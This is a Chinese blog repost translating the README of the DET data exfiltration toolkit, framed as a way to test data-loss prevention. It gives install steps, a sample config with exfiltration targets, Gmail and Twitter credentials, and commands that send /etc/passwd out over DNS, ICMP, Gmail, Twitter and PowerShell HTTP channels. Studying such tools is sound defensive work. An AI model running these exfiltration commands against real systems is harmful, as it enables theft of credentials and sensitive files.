黑客工具之DET——可扩展的数据渗出工具包

基于YOLOv10的肺炎CT影像智能检测系统实践 目标检测作为计算机视觉的核心技术,通过深度学习模型实现物体定位与分类。YOLO系列算法因其出色的实时性能,在医疗影像分析领域展现巨大价值。本文以YOLOv10为基础框架,详解如何构建肺炎CT影像检测系统。该系统采用GSConv等优化模块,在保持实时性的同时提升小目标检测能力,准确率达96.3%。关键技术包含DICOM标准对接、TensorRT加速部署等工程实践,适用于疫情筛查等医疗场景。通过12,000张标注数据训练,系统可自动识别病毒性与细菌性肺炎病灶,显著提升放射科工作效率。 阅读详情
建议挂上vpn浏览学习哦

黑客工具之DET——可扩展的数据渗出工具包


DET是一个概念界定,描述能同时使用单独或多个通道执行数据渗透。

发明此概念的主要目的,就是确定可能的 DLP故障。它永远不应该用来评估敏感数据。

为了创建一个可以插入到任何协议/服务中的通用的具包,从而实施网络监测和数据泄漏预防(DLP)的配置方案,应对不同的数据溢出技术。

(tips:混合双通道是双通道内存中更为高端的一种形式,也是为了保护用户投资而产生的一种内存双通道模式。它通过主板和CPU共同技术支持,可以让CPU同时和不同型号的内存对接,甚至让CPU支持容量不同的两根内存条。)

 

1.幻灯片

卢布尔雅那大学在今年3月展示了详细的DET幻灯片,幻灯片在此:

https://docs.google.com/presentation/d/11uk6d-xougn3jU1wu4XRM3ZGzitobScSSMUlx0MRTzg/edit#slide=id.p

 

2.使用示例

ICMP插件:

服务器端:

 黑客工具之DET——可扩展的数据渗出工具包

黑客工具之DET——可扩展的数据渗出工具包

客户端:

 黑客工具之DET——可扩展的数据渗出工具包

黑客工具之DET——可扩展的数据渗出工具包

混合双通道(Gmail、Twitter)

服务器端:

 黑客工具之DET——可扩展的数据渗出工具包

黑客工具之DET——可扩展的数据渗出工具包

客户端:

黑客工具之DET——可扩展的数据渗出工具包

黑客工具之DET——可扩展的数据渗出工具包

3.安装

git clone https://github.com/sensepost/DET.git
pip install -r requirements.txt --user

4.配置

为了使用DET,需要配置它并添加适当的参数(如SMTP/IMAP,AES256加密密码等)。此处的配置文件名为:config-sample.json

{
    "plugins": {
        "http": {
            "target": "192.168.1.101",
            "port": 8080
        },
        "google_docs": {
            "target": "192.168.1.101",
            "port": 8080,
        },
        "dns": {
            "key": "google.com",
            "target": "192.168.1.101",
            "port": 53
        },
        "gmail": {
            "username": "dataexfil@gmail.com",
            "password": "ReallyStrongPassword",
            "server": "smtp.gmail.com",
            "port": 587
        },
        "tcp": {
            "target": "192.168.1.101",
            "port": 6969
        },
        "udp": {
            "target": "192.168.1.101",
            "port": 6969
        },
        "twitter": {
            "username": "PaulWebSec",
            "CONSUMER_TOKEN": "XXXXXXXXX",
            "CONSUMER_SECRET": "XXXXXXXXX",
            "ACCESS_TOKEN": "XXXXXXXXX",
            "ACCESS_TOKEN_SECRET": "XXXXXXXXX"
        },
        "icmp": {
            "target": "192.168.1.101"
        }
    },
    "AES_KEY": "THISISACRAZYKEY",
    "sleep_time": 10
}


5.使用

使用帮助

python det.py -h
usage: det.py [-h] [-c CONFIG] [-f FILE] [-d FOLDER] [-p PLUGIN] [-e EXCLUDE]
              [-L]
 
Data Exfiltration Toolkit (SensePost)
 
optional arguments:
  -h, --help  show this help message and exit
  -c CONFIG   Configuration file (eg. '-c ./config-sample.json')
  -f FILE     File to exfiltrate (eg. '-f /etc/passwd')
  -d FOLDER   Folder to exfiltrate (eg. '-d /etc/')
  -p PLUGIN   Plugins to use (eg. '-p dns,twitter')
  -e EXCLUDE  Plugins to exclude (eg. '-e gmail,icmp')
  -L          Server mode


服务器端:

加载每一个插件:

python det.py -L -c ./config.json

只加载Twitter和Gmail模块:

python det.py -L -c ./config.json -p twitter,gmail


加载每一个插件并排除DNS:

python det.py -L -c ./config.json -e dns


客户端:

加载每一个插件:

python det.py -c ./config.json -f /etc/passwd


只加载Twitter和Gmail模块:

python det.py -c ./config.json -p twitter,gmail -f /etc/passwd


加载每一个插件并排除DNS:

python det.py -c ./config.json -e dns -f /etc/passwd


在PowerShell(HTTP模块下)

PS C:\Users\user01\Desktop>
PS C:\Users\user01\Desktop> . .\http_exfil.ps1
PS C:\Users\user01\Desktop> HTTP-exfil 'C:\path\to\file.exe'


6. 适用模块

目前来讲, DET支持多种协议:

HTTPS  ICMP       DNS        SMTP/IMAP(eg.Gmail) Raw TCP  PowerShell的变形 (HTTP, DNS, ICMP, SMTP)

其他的“服务”:

Google Docs (未认证的)   Twitter (直接信息)

实验模块

到目前为止,正忙着实现的新模块,包括:

Skype (95% )   Tor (80%)     Github (30/40% )

 

 



本文由漏洞银行(BUGBANK.cn)小编  柠檬 翻译,源文译自 github.com。



作者:柠檬
链接:http://www.bugbank.cn/news/detail/57e2312bbe4ed604719841c7.html
来源:漏洞银行
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
FUTR3D:统一Transformer实现医学影像2D检测、属性预测与3D重建 医学影像AI正从单任务模型迈向多任务联合建模,其核心在于如何统一表征病灶的空间位置、语义属性与三维结构。基于Transformer架构的多任务学习方法,通过共享隐空间与几何一致性约束,突破传统‘检测→分割→重建’串行范式,在肺癌早筛等场景中显著提升mAP与Dice Score。关键技术包括解剖感知图结构建模、临床先验驱动的位置编码、以及跨模态几何一致性损失设计。这类方法特别适用于CT影像中的肺结节分析、多期随访建模及基层低剂量扫描适配,为3D医学重建提供了可解释、可部署、临床可信的新路径。 阅读详情

相关推荐

【信息科学与工程学】计算机科学与自动化——第六篇多媒体01 主要参数和算法

参数分类参数名称技术定义典型值范围测量方法优化目标采样参数采样频率每秒采集样本数8-384 kHz设备规格高保真≥48kHz量化参数采样深度每个样本量化位数8-32 bit设备规格高保真≥16bit声道配置声道数量独立音频通道数1-128声道配置参数立体声≥2声道音频格式格式类型音频数据格式PCM, ADPCM, MP3, AAC格式标识按需选择动态范围最大动态范围最大最小声压比40-144 dB声学测试越大越好频率响应频率范围可响应频率范围20-20kHz ±3dB频率扫描20-20kHz平坦信噪比信号噪

weixin_49199313的博客 1341

DET 项目使用教程

DET(Data Exfiltration Toolkit)是由 SensePost 开发的一个开源工具,旨在帮助安全研究人员和渗透测试人员进行数据泄露测试。该项目提供了一系列工具和脚本,用于模拟和检测数据泄露场景,帮助组织评估其网络安全防御措施的有效性。 ## 2. 项目快速启动 ### 2.1 环境准备 在开始之前,请确保您的系统已安装以下依赖: - Python 3.x - Git

gitblog_00571的博客 518

【信息科学与工程学】计算机科学与自动化-第十一篇 机械工程04 机械结构

上述表格总结了常见机械几何结构的参数特性及其应用场景,涵盖宏观几何参数、微观物理特性等多个层面。这些参数在设计、制造、分析和优化机械结构时都需要综合考虑,以确保结构满足功能、性能、可靠性和寿命要求。注意:微观层面特性通常涉及材料科学、纳米技术和表面工程等领域,对结构的疲劳、磨损、腐蚀、摩擦和润滑等性能有重要影响。宏观层面特性则决定结构的运动学、动力学、强度、刚度和稳定性等整体性能。实际应用中,需根据具体工况(载荷、速度、温度、环境等)选择合适的参数组合,并进行多学科优化设计。上表整理了常见机械几何结构的参数

weixin_49199313的博客 1154

Autosar开发Det错误码查询工具

1.最近在移植autosar协议栈时,经常会进入开发错误(DET)模块中,提示各种开发错误,但这些提示都是些错误码,无法与实际的含义一一对应,于是就开发了这个小工具。 2.工具采用C++/Qt开发,数据库用的是Qt自带的数据库SQLite,这是一个轻型数据库。用起来还是比较容易的,开发主要界面如下,使用时需要导入excel文件到数据库,另外需要自行补充错误码数据库。 工程下载地址:https:...

weixin_39277045的博客 2556

从苹果腐烂识别到工业级目标检测:YOLOv8实战与部署全流程解析

目标检测是计算机视觉的核心任务,其原理是通过算法在图像中定位并识别出感兴趣的目标。这项技术的核心价值在于将视觉信息转化为结构化的数据,为自动化决策提供依据,广泛应用于工业质检、安防监控、自动驾驶等领域。在实际工程实践中,数据集的构建与标注质量直接决定了模型性能的上限,而模型选型、训练调优与部署优化则是实现技术落地的关键环节。以YOLOv8为代表的先进检测框架,因其在速度与精度间的优异平衡,成为工业落地的热门选择。本文以“苹果腐烂识别”这一具体场景为载体,深入剖析如何利用YOLOv8训练自定义数据集,并系统讲

weixin_33991418的博客 315

gfdrr-det:数据探索工具

HEV-E平台 危害,暴露和漏洞数据探索工具 HEV-E是一个数据探索平台,旨在提高用户访问,理解和使用存储在其全球地理空间数据存储库中的危害,暴露和脆弱性数据的能力。 这是根据根据开发的模式共享全球数据集的共同努力的结果。 作者 GFDRR- //www.gfdrr.org/ 英国国际发展部-https: GeoSolutions SAS- //geo-solutions.it 技术领域 HEV-E基于: MapStore- //mapstore.geo-solutions.it/mapstore/ GeoNode- //geonode.org/ Django-

【pcdet 安装】pcdet包安装问题

更换源 pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple 1、拷贝本工程 git clone https://github.com/sshaoshuai/PCDet.git 1 2、安装依赖包 pip install -r requirements.txt 1 3、安装pcdet库 python setup.py develop ...

赖德发的博客 872

小榕写的sql注入工具wed+wis.rar

小榕写的sql注入工具wed+wis.rar

【Web安全】20种DLP绕过技术

Steghide是一个用于隐写术(Steganography)的工具,它能够让用户将文件(如文本、图片或音频)隐藏在另一个文件中,通常是图片或音频文件。范例: 使用 VeraCrypt 对包含客户信息的整个硬盘进行加密,然后通过邮件发送加密后的文件。DLP 系统无法识别二维码中的数据。DLP 系统可能无法识别扫描文档中的敏感信息,因为它不再是原始的电子文档。5、VPN/SSH 隧道: 将数据封装在 VPN 或 SSH 连接中,以隐藏 VPN 或 SSH 连接内的流量,使其免受 DLP 检测。

FallenQu的博客 1322

啊d--网站注入工具

一款操作简单的网站漏洞扫描工具,对于我们菜鸟来说是最好上手的。

小榕SQL注入-wis,wed工具包

大名鼎鼎的SQL注入工具包,有兴趣的朋友可以下载对网站的sql漏洞进行扫描测试,反对对网站进行攻击。

python 渗透测试基础-网络通讯

本文转载自【 python 渗透测试基础-网络通讯】https://www.lzfkj.vip/post/20 文章目录python 渗透测试基础-网络通讯简述TCP实例TCP 服务端TCP 客户端运行结果TCP的另外一个客户端TCP的SSL请求客户端UDP实例UDP 服务端UDP 客户端 python 渗透测试基础-网络通讯 简述     在很多情况下,我们所在的测试环境并没有给我们提供很多有利的条件,特别是在一些审计等级高的地方,更是直接断开物理连接;除了这个方式

慕容卡卡 1429

小榕SQL注入工具wed+wis全套下载

大名鼎鼎的小榕SQL注入工具包,有兴趣的朋友可以下载对网站的sql漏洞进行扫描测试,完善自己的网站漏洞。

MedGemma X-Ray效果对比:与CheXNet、ChestX-Det等模型结果对照

本文介绍了如何在星图GPU平台上自动化部署MedGemma X-Ray医疗图像分析系统,实现AI驱动的胸部X光片智能解读。该镜像支持对话式交互,用户可通过自然语言询问影像中的异常情况,系统会自动识别肺部、心脏等关键解剖结构并生成详细的结构化报告,显著提升医疗影像分析的效率和易用性。

weixin_42355400的博客 30

zemax混合式非序列模拟

注意不要点击左侧的非序列模式,那个时纯粹的非序列,会清除序列模式的数据。第2、4、6透镜材质为空气,是为了让光线进入到多重透镜内部。这时普通的优化方式会失败。平行光束经过多焦透镜时,会汇聚在不同焦距处。所以还需要控制能量的大小,进行优化。接下来用非序列模式设计一个多焦透镜。像面的孔径为圆形通光孔:0-1.2。透镜不同位置处有不同的聚焦位置。透镜的z轴位置相同,重合。

fendoudecheng的博客 3067

linux下autocad完美替代品bricscad的安装运行

前言 在Linux平台下,能完美兼容.dwg文件的软件并不多。 虽然国产的中望和浩辰为适配uos操作系统,近期都推出了linux版本,但目前好像还没有对应的破姐流出。(如果有的话请私信我或留下评论) 然而有了这一款源自比利时的软件——bricscad,linux下查看和编辑.dwg文件再也不是噩梦了! 安装pj 资源链接:https://pan.baidu.com/s/1dC7zarlqwuO5fa4CBL_KGQ 提取码:24j6 1.下载对应的压缩包,解压并安装其中对应的deb或rpm软件包。 2.在C

weixin_35259117的博客 4482

YOLOv8在皮肤病检测中的优化与应用实践

目标检测技术作为计算机视觉的核心领域,通过边界框定位和类别识别实现物体自动化检测。YOLOv8作为当前最先进的实时检测框架,其创新性的锚框设计和损失函数在医疗影像分析中展现出独特优势。针对皮肤病检测场景的特殊需求,通过引入注意力机制和迁移学习策略,有效解决了病灶形态多变、拍摄条件差异等挑战。在工程实践中,结合PyQt5开发交互式界面和TensorRT边缘部署,为基层医疗机构提供了可靠的AI辅助诊断工具。该项目在湿疹、银屑病等常见皮肤病的识别准确率超过85%,同时采用K-means++优化和CBAM模块显著提

weixin_30443731的博客 569

关于三维全波电磁场仿真软件CST的安装和问题解决

百度网盘链接:https://pan.baidu.com/s/1RgWr8Qau1EzSOlh29SewFQ提取码:fzza这里是2023版本的CST,需要其他版本的uu们可以去官网或者其他人的网盘下载。

weixin_60728441的博客 3606

Python操作MITRE ATT&CK框架:自动化威胁情报分析与安全运营实践

MITRE ATT&CK框架作为网络安全领域的通用知识图谱,系统化地描述了攻击者的战术、技术与流程(TTP)。其核心原理是将复杂的网络攻击行为分解为结构化的技术模型,并通过关系网络关联攻击组织、软件工具和缓解措施。这一框架的技术价值在于为威胁检测、防御评估和红蓝对抗提供了标准化语言和参考基准。在实际应用场景中,安全团队常需将内部检测规则、告警日志与ATT&CK技术进行映射,以评估防御覆盖度并识别安全短板。然而,手动操作海量的ATT&CK数据效率低下且易出错。本文介绍的mitreattack-python库正

weixin_30263277的博客 329

HTTP 代理服务器的设计与实现

HTTP 代理服务器的设计与实现 首先当然是最重要的代码:github地址 1) 实验目的 熟悉并掌握 Socket 网络编程的过程与技术;深入理解 HTTP 协议,掌握 HTTP 代理服 务器的基本工作原理;掌握 HTTP 代理服务器设计与编程实现的基本技能。 2) 实验内容 基于 java 实现了基本功能与全部附加功能,并增加了 https 的支持 (1) 设计并实现一个基本 HTTP 代理服...

qq_42754642的博客 1887

用Python模拟随机游走:从一维到三维,直观理解马尔可夫链的常返性

本文通过Python模拟一维到三维的随机游走,直观展示马尔可夫链的常返性特性。使用NumPy和Matplotlib构建模拟器,揭示不同维度下随机游走的返回概率差异,帮助读者理解为什么一维和二维游走具有常返性,而三维游走可能永远迷失。文章包含完整的代码示例和可视化技巧,适合概率论和Python编程爱好者学习实践。

weixin_28694295的博客 399

基于深度学习的视网膜生物特征识别:实现跨年龄与跨设备的患者身份验证

从生物特征识别的基本原理出发,探讨人脸、指纹在医疗场景中的局限,引出视网膜血管模式作为高特异性、难伪造的内在生理特征。结合眼底筛查设备的普及,分析深度学习与度量学习如何从眼底图像中提取稳定身份特征,解决跨年龄与跨成像设备导致的域偏移问题。阐述身份验证与检索两种任务的技术架构、评估指标及服务化落地要点,并强调医疗生物特征数据的合规边界。为医疗信息化、医学影像AI及生物特征识别系统选型提供参考。

weixin_33894640的博客 452

VisionPro开发实战:CogRecordDisplay控件显示与保存图片的完整流程(附C#代码示例)

本文详细解析了VisionPro开发中CogRecordDisplay控件的图像处理全流程,包括图像加载、显示优化、动态清屏及结果保存等关键操作。通过C#代码示例,展示了如何高效使用该控件进行工业视觉应用开发,特别适合自动化检测系统的开发者参考。

weixin_42523792的博客 276
上一篇: 【技术分享】Android App常见安全问题演练分析系统-DIVA-Part1
下一篇: 正义使者——医疗黑客自制Epipen,让普通人获得垄断药
SAKAISON
博客等级 码龄10年 61粉丝 0原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值